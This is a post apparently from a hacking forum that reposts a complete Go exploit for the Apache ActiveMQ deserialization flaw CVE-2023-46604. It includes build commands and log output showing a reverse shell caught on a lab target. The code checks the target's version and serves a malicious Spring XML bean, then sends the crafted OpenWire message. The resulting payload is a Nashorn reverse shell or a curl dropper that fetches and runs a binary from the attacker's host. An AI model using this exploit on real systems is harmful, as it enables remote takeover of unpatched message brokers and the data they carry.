• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote Apache ActiveMQ CVE-2023-46604

blackhunt

(L2) cache
Пользователь
Регистрация
10.05.2023
Сообщения
334
Решения
8
Реакции
338
1736566510586.png

CVE-2023-46604 is a widely exploited vulnerability that appears on CISA's KEV list. This go-exploit implementation can execute a reverse shell on the targets using a Nashorn payload, or download a binary to the target and execute it.

cve-2023-46604.go :​

C-подобный:
package main

import (
    "bytes"
    b64 "encoding/base64"
    "encoding/binary"
    "fmt"
    "net/http"
    "regexp"
    "strconv"
    "strings"
    "time"

    "github.com/vulncheck-oss/go-exploit"
    "github.com/vulncheck-oss/go-exploit/c2"
    "github.com/vulncheck-oss/go-exploit/c2/httpservefile"
    "github.com/vulncheck-oss/go-exploit/config"
    "github.com/vulncheck-oss/go-exploit/output"
    "github.com/vulncheck-oss/go-exploit/payload/dropper"
    "github.com/vulncheck-oss/go-exploit/payload/reverse"
    "github.com/vulncheck-oss/go-exploit/protocol"
    "github.com/vulncheck-oss/go-exploit/random"
    "github.com/vulncheck-oss/go-exploit/transform"
)

var (
    globalHTTPAddr string
    globalHTTPPort int
)

type ActiveMQRCE struct{}

func (sploit ActiveMQRCE) ValidateTarget(conf *config.Config) bool {
    conn, ok := protocol.MixedConnect(conf.Rhost, conf.Rport, conf.SSL)
    if !ok {
        return false
    }
    defer conn.Close()

    msgSize, ok := protocol.TCPReadAmount(conn, 4)
    if !ok {
        return false
    }

    readSize := int(binary.BigEndian.Uint32(msgSize))
    if readSize == 0 {
        output.PrintDebug("The server provided an invalid message length")

        return false
    }

    msg, ok := protocol.TCPReadAmount(conn, readSize)
    if !ok {
        return false
    }

    return bytes.HasPrefix(msg, []byte("\x01ActiveMQ"))
}

func (sploit ActiveMQRCE) CheckVersion(conf *config.Config) exploit.VersionCheckType {
    conn, ok := protocol.MixedConnect(conf.Rhost, conf.Rport, conf.SSL)
    if !ok {
        return exploit.Unknown
    }
    defer conn.Close()

    msgSize, ok := protocol.TCPReadAmount(conn, 4)
    if !ok {
        return exploit.Unknown
    }

    readSize := int(binary.BigEndian.Uint32(msgSize))
    if readSize == 0 {
        output.PrintError("The server provided an invalid message length")

        return exploit.Unknown
    }

    msg, ok := protocol.TCPReadAmount(conn, readSize)
    if !ok {
        return exploit.Unknown
    }

    // perhaps less hacky is to properly parse the entire payload but
    // just hitting it with a regex is quicker.
    re := regexp.MustCompile(`ProviderVersion...([0-9.]+)`)
    res := re.FindAllStringSubmatch(string(msg), -1)
    if len(res) == 0 {
        output.PrintDebug("Failed to extract a version")

        return exploit.Unknown
    }
    exploit.StoreVersion(conf, res[0][1])

    versionArray := strings.Split(res[0][1], ".")
    if len(versionArray) != 3 {
        output.PrintDebug("Unexpected version number")

        return exploit.Unknown
    }

    major, _ := strconv.Atoi(versionArray[0])
    minor, _ := strconv.Atoi(versionArray[1])
    point, _ := strconv.Atoi(versionArray[2])

    if major != 5 {
        return exploit.NotVulnerable
    }
    switch {
    case minor == 15 && point < 16:
        return exploit.Vulnerable
    case minor == 16 && point < 7:
        return exploit.Vulnerable
    case minor == 17 && point < 6:
        return exploit.Vulnerable
    case minor == 18 && point < 3:
        return exploit.Vulnerable
    case minor < 15:
        return exploit.Vulnerable
    default:
        return exploit.NotVulnerable
    }
}

func httpServerStart() {
    _ = http.ListenAndServe(globalHTTPAddr+":"+strconv.Itoa(globalHTTPPort), nil)
}

func generatePayload(conf *config.Config) (string, bool) {
    generated := ""

    switch conf.ResolveC2Payload() {
    case c2.SSLShellServer:
        output.PrintfStatus("Sending an SSL reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
        generated = reverse.JJS.Default(conf.Lhost, conf.Lport, true)
    case c2.SimpleShellServer:
        output.PrintfStatus("Sending a reverse shell payload for port %s:%d", conf.Lhost, conf.Lport)
        generated = reverse.JJS.Default(conf.Lhost, conf.Lport, false)
    case c2.HTTPServeFile:
        output.PrintfStatus("Sending a curl payload for port %s:%d", conf.Lhost, conf.Lport)
        curlCommand := dropper.Unix.CurlHTTP(conf.Lhost, conf.Lport,
            httpservefile.GetInstance().TLS,
            httpservefile.GetInstance().GetRandomName(""))
        generated = fmt.Sprintf(`new java.lang.ProcessBuilder("/bin/sh", "-c", "%s").start()`, curlCommand)
    default:
        output.PrintError("Invalid payload")

        return generated, false
    }

    generated = b64.StdEncoding.EncodeToString([]byte(generated))

    return generated, true
}

func (sploit ActiveMQRCE) RunExploit(conf *config.Config) bool {
    if len(globalHTTPAddr) == 0 {
        output.PrintError("The user must specify an address to bind the HTTP server to. Quitting.")

        return false
    }
    generatedShell, ok := generatePayload(conf)
    if !ok {
        return false
    }

    // the endpoint the http server will listen for a request to
    endpoint := "/" + random.RandLetters(12)

    http.HandleFunc(endpoint, func(w http.ResponseWriter, _ *http.Request) {
        output.PrintStatus("Sending payload")
        xml := fmt.Sprintf(`<beans
        xmlns="http://www.springframework.org/schema/beans"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xsi:schemaLocation="
            http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="vulncheck" class="java.lang.String">
            <property name="file" value="#{''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('Nashorn').eval('eval(new java.lang.String(java.util.Base64.decoder.decode(&quot;%s&quot;)));')}"/>
        </bean>
    </beans>`, generatedShell)
        _, _ = w.Write([]byte(xml))
    })

    output.PrintfStatus("HTTP server listening for %s:%d%s", globalHTTPAddr, globalHTTPPort, endpoint)
    go httpServerStart()

    // give it a couple to get going
    time.Sleep(2 * time.Second)

    url := protocol.GenerateURL(globalHTTPAddr, globalHTTPPort, false, endpoint)
    class := "org.springframework.context.support.FileSystemXmlApplicationContext"
    header := "\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"
    classMsg := "\x01" + transform.PackBigInt16(len(class)) + class
    urlMsg := "\x01" + transform.PackBigInt16(len(url)) + url
    totalLength := transform.PackBigInt32(len(header) + len(urlMsg) + len(classMsg))
    payload := totalLength + header + classMsg + urlMsg

    output.PrintStatus("Connecting...")
    conn, ok := protocol.MixedConnect(conf.Rhost, conf.Rport, conf.SSL)
    if !ok {
        return false
    }
    defer conn.Close()

    output.PrintStatus("Sending exploit")

    if !protocol.TCPWrite(conn, []byte(payload)) {
        return false
    }

    // if the connection closes too fast, the server won't download our payload
    time.Sleep(5 * time.Second)

    return true
}

func main() {
    supportedC2 := []c2.Impl{
        c2.SSLShellServer,
        c2.SimpleShellServer,
        c2.ShellTunnel,
        c2.HTTPServeFile,
    }
    conf := config.NewRemoteExploit(
        config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, Exploitation: true},
        config.CodeExecution, supportedC2, "Apache", []string{"ActiveMQ"},
        []string{"cpe:2.3:a:apache:activemq"}, "CVE-2023-46604", "ActiveMQ", 61616)

    conf.CreateStringVarFlag(&globalHTTPAddr, "httpAddr", "", "The address the HTTP server should bind to")
    conf.CreateIntVarFlag(&globalHTTPPort, "httpPort", 8080, "The port the HTTP server should bind to")

    sploit := ActiveMQRCE{}
    exploit.RunProgram(sploit, conf)
}

Compiling​

To build the exploit into a docker image simply:
Код:
make docker

If you have a Go build environment handy, you can also just use make:
Код:
albinolobster@mournland:~/cve-2023-46604$ make
gofmt -d -w cve-2023-46604.go
golangci-lint run --fix cve-2023-46604.go
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-46604_linux-arm64 cve-2023-46604.go

Example Output​

Код:
albinolobster@mournland:~/cve-2023-46604$ ./build/cve-2023-46604_linux-arm64 -v -c -e -rhost 10.9.49.129 -rport 61616 -lhost 10.9.49.131 -lport 1270 -httpAddr 10.9.49.131 -c2 SimpleShellServer
time=2023-11-09T16:07:48.317-05:00 level=STATUS msg="Starting listener on 10.9.49.131:1270"
time=2023-11-09T16:07:48.317-05:00 level=STATUS msg="Starting target" index=0 host=10.9.49.129 port=61616 ssl=false "ssl auto"=false
time=2023-11-09T16:07:48.317-05:00 level=STATUS msg="Validating ActiveMQ target" host=10.9.49.129 port=61616
time=2023-11-09T16:07:48.398-05:00 level=SUCCESS msg="Target validation succeeded!" host=10.9.49.129 port=61616
time=2023-11-09T16:07:48.398-05:00 level=STATUS msg="Running a version check on the remote target" host=10.9.49.129 port=61616
time=2023-11-09T16:07:48.465-05:00 level=VERSION msg="The self-reported version is: 5.18.2" host=10.9.49.129 port=61616 version=5.18.2
time=2023-11-09T16:07:48.465-05:00 level=SUCCESS msg="The target appears to be a vulnerable version!" host=10.9.49.129 port=61616
time=2023-11-09T16:07:48.465-05:00 level=STATUS msg="HTTP server listening for 10.9.49.131:8080/JbmoWIDSyYqW"
time=2023-11-09T16:07:50.467-05:00 level=STATUS msg=Connecting...
time=2023-11-09T16:07:50.467-05:00 level=STATUS msg="Sending exploit"
time=2023-11-09T16:07:50.467-05:00 level=STATUS msg="Exploit successfully completed"
time=2023-11-09T16:07:50.510-05:00 level=STATUS msg="Sending payload"
time=2023-11-09T16:07:50.516-05:00 level=STATUS msg="Sending payload"
time=2023-11-09T16:07:50.657-05:00 level=SUCCESS msg="Caught new shell from 10.9.49.129:37034"
time=2023-11-09T16:07:50.657-05:00 level=STATUS msg="Active shell from 10.9.49.129:37034"
id
uid=1000(albinolobster) gid=1000(albinolobster) groups=1000(albinolobster),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),132(lxd),133(sambashare)
whoami
albinolobster

source : https://github.com/vulncheck-oss/cve-2023-46604
 

Вложения

  • cve-2023-46604-main.zip
    13.1 КБ · Просмотры: 5


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх